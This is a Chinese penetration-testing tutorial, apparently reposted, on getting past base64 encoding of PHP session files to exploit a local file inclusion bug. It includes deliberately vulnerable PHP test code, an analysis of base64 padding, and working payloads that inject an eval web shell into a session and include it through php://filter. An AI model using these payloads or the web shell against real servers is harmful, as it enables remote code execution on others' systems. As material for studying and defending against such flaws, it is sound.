首页 网络安全 渗透测试 查看内容

PHP文件包含漏洞利用思路与Bypass总结手册

2020-5-10 15:37 |来自: 互联网 1230 0

摘要: 很多时候服务器上存储的Session信息都是经过处理的(编码或加密),这个时候假如我们利用本地文件包含漏洞直接包含恶意session的时候是没有效果的。那么该怎么去绕过这个限制呢,一般做法是逆过程,既然他选择了编码或加密,我们就可以尝试着利用解码或解密的手段还原真实session,然后再去包含,这个时候就能够将恶意的session信息包含利用成功。
关键词: Session php 文件 编码 base64 username 恶意 progress upload 字节

作者:Qftm合天智汇

Bypass-Session限制

LFI-Base64Encode

很多时候服务器上存储的Session信息都是经过处理的(编码或加密),这个时候假如我们利用本地文件包含漏洞直接包含恶意session的时候是没有效果的。那么该怎么去绕过这个限制呢,一般做法是逆过程,既然他选择了编码或加密,我们就可以尝试着利用解码或解密的手段还原真实session,然后再去包含,这个时候就能够将恶意的session信息包含利用成功。

很多时候服务器上的session信息会由base64编码之后再进行存储,那么假如存在本地文件包含漏洞的时候该怎么去利用绕过呢?下面通过一个案例进行讲解与利用。

测试代码

session.php

<?php

session_start();
$username = $_POST['username'];
$_SESSION['username'] = base64_encode($username);
echo "username -> $username";

?>

index.php

<?php

$file = $_GET['file'];
include($file);

?>

常规利用

正常情况下我们会先传入恶意代码在服务器上存储恶意session文件

正常情况下我们会先传入恶意代码在服务器上存储恶意session文件

然后在利用文件包含漏洞去包含session



从包含结果可以看到我们包含的session被编码了,导致LFI -> session失败。

在不知道源代码的情况下,从编码上看可以判断是base64编码处理的



在这里可以用逆向思维想一下,他既然对我们传入的session进行了base64编码,那么我们是不是只要对其进行base64解码然后再包含不就可以了,这个时候php://filter就可以利用上了。

构造payload

index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl

意外的事情发生了,你发现解码后包含的内容竟然是乱码!!这是为什么呢??

bypass serialize_handler=php

对于上面利用php://filter的base64解码功能进行解码包含出现了错误,还是不能够利用成功,回过头仔细想想会发现,session存储的一部分信息是用户名base64编码后的信息,然而我们对session进行base64解码的是整个session信息,也就是说编码和解码的因果关系不对,也就导致解码的结果是乱码。

那有没有什么办法可以让base64编码和解码的因果关系对照上,答案是有的,先来了解一下base64编码与解码的原理。

  • Base64编码与解码

Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。

(1)base64编码过程

Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。

由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。

完整的Base64定义可见RFC1421和RFC2045。因为Base64算法是将3个字节原数据编码为4个字节新数据,所以Base64编码后的数据比原始数据略长,为原来的4/3。

(2)简单编码流程

1)将所有字符转化为ASCII码;

2)将ASCII码转化为8位二进制;

3)将8位二进制3个归成一组(不足3个在后边补0)共24位,再拆分成4组,每组6位;

4)将每组6位的二进制转为十进制;

5)从Base64编码表获取十进制对应的Base64编码;

(3)base64解码过程

base64解码,即是base64编码的逆过程,如果理解了编码过程,解码过程也就容易理解。将base64编码数据根据编码表分别索引到编码值,然后每4个编码值一组组成一个24位的数据流,解码为3个字符。对于末尾位“=”的base64数据,最终取得的4字节数据,需要去掉“=”再进行转换。

(4)base64解码特点

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。下面编写一个简单的代码,测试一组数据看是否满足我们所说的情况。

  • 测试代码

探测base64_decode解码的特点

<?php
/**
* Created by PhpStorm.
* User: Qftm
* Date: 2020/3/17
* Time: 9:16
*/

$basestr0="QftmrootQftm";
$basestr1="Qftm#root@Qftm";
$basestr2="Qftm^root&Qftm";
$basestr3="Qft>mro%otQftm";
$basestr4="Qf%%%tmroo%%%tQftm";

echo base64_decode($basestr0)."\n";
echo base64_decode($basestr1)."\n";
echo base64_decode($basestr2)."\n";
echo base64_decode($basestr3)."\n";
echo base64_decode($basestr4)."\n";
  • 运行结果

从结果中可以看到一个字符串中,不管出现多少个特殊字符或者位置差异,都不会影响最终的结果,可以验证base64_decode是遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

  • Bypass base64_encode

了解了base64编码原理之后和解码的特点,怎么让base64解码和编码的因果关系对照上,其实就很简单了,我们只要让session文件中base64编码的前面这一部分username|s:40:"正常解码就可以,怎么才能正常解码呢,需要满足base64解码的原理,就是4个字节能够还原原始的3个字节信息,也就是说session前面的这部分数据长度需要满足4的整数倍,如果不满足的话,就会影响session后面真正的base64编码的信息,也就导致上面出现的乱码情况。

  • Bypass分析判断

正常情况下base64解码包含serialize_handler=php处理过的原始session信息,未能正常解析执行

username|s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=";

?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl

依据base64编码和解码的特点进行分析,当session存储的信息中用户名编码后的长度为个位数时,username|s:1:"这部分数据长度为14,实际解码为usernames1,实际长度为10,不满足情况。

4组解码->缺少两个字节,后面需占两位(X 代表占位符)

username|s:1:"  //原始未处理信息

user name s1XX //base64解码特点,去除特殊字符,填充两个字节'XX'

当session存储的信息中用户名编码后的长度为两位数时,username|s:11:"这部分数据长度为15,实际解码为usernames11,实际长度为11,不满足情况。

4组解码->缺少一个字节,后面需占一位

username|s:11:"   //原始未处理信息

user name s11X //base64解码特点,去除特殊字符,填充一个字节'X'

当session存储的信息中用户名编码后的长度为三位数时,username|s:111:"这部分数据长度为16,实际解码为usernames111,长度为12,满足情况。

4组解码->缺少零个字节,后面需占零位

username|s:11:"   //原始未处理信息

user name s111 //base64解码特点,去除特殊字符,填充0个字节'X'

这种情况下刚好满足,即使前面这部分数据正常解码后的结果是乱码,也不会影响后面恶意代码的正常解码。

构造可利用payload

构造payload传入恶意session

http://192.33.6.145/FI/session/session.php

POST:
username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>



构造payload包含恶意session

http://192.33.6.145/FI/index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl

POST:
mtfq=phpinfo();



从相应结果中可以看到,在PHP默认的会话处理模式serialize_handler=php下,我们这次构造的payload成功解析了,达到了预期的目的。

bypass serialize_handler=php_serialize

在这里可能有人会想上面默认处理的是session.serialize_handler = php这种模式,那么针对session.serialize_handler = php_serialize这种处理方式呢,答案是一样的,只要能构造出相应的payload满足恶意代码的正常解码就可以。

  • 限制session包含的代码

session.php

<?php

ini_set('session.serialize_handler', 'php_serialize');
session_start();
$username = $_POST['username'];
$_SESSION['username'] = base64_encode($username);
echo "username -> $username";

?>
  • Bypass分析判断

正常情况下base64解码包含serialize_handler=php_serialize处理过的原始session信息,未能正常解析执行

a:1:{s:8:"username";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=";}

?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s



依据base64编码和解码的特点进行分析,当session存储的信息中用户名编码后的长度为个位数时,a:1:{s:8:"username";s:1:"这部分数据长度为25,实际解码为a1s8usernames1,实际长度为14,不满足情况。

4组解码->缺少两个字节,后面需占两位(X 代表占位符)

a:1:{s:8:"username";s:1:"  //原始未处理信息

a1s8 user name s1XX //base64解码特点,去除特殊字符,填充两个字节'XX'

当session存储的信息中用户名编码后的长度为两位数时,a:1:{s:8:"username";s:11:"这部分数据长度为26,实际解码为a1s8usernames11,实际长度为15,不满足情况。

4组解码->缺少一个字节,后面需占一位

a:1:{s:8:"username";s:11:"   //原始未处理信息

a1s8 user name s11X //base64解码特点,去除特殊字符,填充一个字节'X'

当session存储的信息中用户名编码后的长度为三位数时,a:1:{s:8:"username";s:11:"这部分数据长度为27,实际解码为`a1s8usernames111,长度为16,满足情况。

4组解码->缺少零个字节,后面需占零位

a:1:{s:8:"username";s:111:"  //原始未处理信息

a1s8 user name s111 //base64解码特点,去除特殊字符,填充0个字节'X'

这种情况下刚好满足,即使前面这部分数据正常解码后的结果是乱码,也不会影响后面恶意代码的正常解码。

构造可利用payload

构造payload传入恶意session

http://192.33.6.145/FI/session/session.php

POST:
username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>



构造payload包含恶意session

http://192.33.6.145/FI/session/index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s

POST:
mtfq=phpinfo();


本文出处: https://www.toutiao.com/i6824731029870215687/
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部